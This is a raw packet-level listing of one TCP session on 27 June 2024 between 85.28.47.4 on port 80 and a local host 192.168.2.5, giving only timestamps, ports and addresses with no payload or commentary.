Jun 27, 2024 07:37:16.603461027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603472948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603482008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603492022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603502989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603512049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.603513002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603524923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603535891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603545904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603555918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.603557110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603569031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603579998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603591919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603595972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.603601933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603612900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603612900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.603624105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603635073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603645086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603653908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.603653908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.603657007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603667974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603677988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.603688955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.603724003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.604022026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.604032993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.604073048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.679980040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.679992914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680005074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680088997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680102110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680113077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680124044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680133104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680141926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680156946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680185080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680329084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680341005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680351973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680363894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680375099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680375099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680394888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680428028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680514097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680525064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680560112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680660009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680670977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680680990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680691004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680701017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680701971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680720091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680732965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680737019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680753946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680761099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680767059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680778027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680778980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680792093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680804014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680814981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.680830002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680843115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.680857897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681242943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681253910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681268930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681293964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681308031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681391001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681404114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681415081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681437969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681464911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681499004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681510925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681520939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681533098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681541920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681545019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681556940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681565046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681567907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681579113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681587934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681596041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681612015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681634903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.681924105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681935072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.681968927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682071924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682082891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682095051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682106018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682111979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682116985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682127953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682136059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682151079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682157993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682164907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682166100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682172060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682178974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682179928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682184935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682187080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682219028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682665110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682677031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682694912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682707071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682708025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682723045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682734013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682734013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682745934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682756901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682769060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682777882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682800055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.682980061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.682990074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683001995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683013916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683026075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683039904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683053970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683129072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683140993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683150053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683161974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683171988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683176041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683187962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683199883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683203936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683217049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683228016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683228016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683239937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683244944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683250904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683264017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683274984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683275938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683285952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683304071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683320999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683734894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683746099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683758020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683768988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683774948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683780909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683792114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683798075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683803082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683814049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683825016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683826923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683837891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.683845043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683864117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.683891058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684065104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684077978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684088945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684099913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684103012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684111118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684119940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684120893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684132099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684142113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684149027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684160948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684174061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684180975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684185028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684190989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684201002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684214115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684214115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684226036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684237003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684242010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684247971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684257984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684273005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684277058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684290886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684298038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684326887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684604883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684643030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684664011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684675932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684688091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684703112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.684705973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684715986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.684741974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.766940117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.766958952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.766969919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767066002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767080069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767090082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767101049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767194986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767215967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767237902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767302036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767400980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767412901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767425060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767436028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767450094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767452002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767465115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767481089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767496109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767512083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767549038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767734051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767746925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767757893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767770052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767785072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767813921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767868042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767915010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.767949104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767961025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767971039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767982006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.767993927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768001080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768004894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768032074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768053055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768248081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768260956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768271923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768304110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768326044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768352032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768368006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768383026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768395901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768407106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768413067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768419981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768430948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768430948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768443108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768460989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768505096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768802881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768815041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768825054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768834114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768846035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768856049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768861055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768871069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768878937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768884897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.768912077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.768940926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769128084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769145012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769164085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769176006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769179106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769187927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769197941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769201994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769211054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769221067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769237041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769241095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769248962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769264936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769280910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769309998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769484043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769531965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769575119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769587040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769598007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769610882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769620895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769625902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769632101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769644976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769655943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769665003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769685030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769701004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769886971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769898891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769910097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.769942999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.769967079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770037889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770049095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770066023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770081043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770088911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770093918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770106077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770117044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770123005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770129919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770143986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770154953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770164013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.770169020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770169020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.770179987 CEST	80	49705	85.28.47.4	192.168.2.5
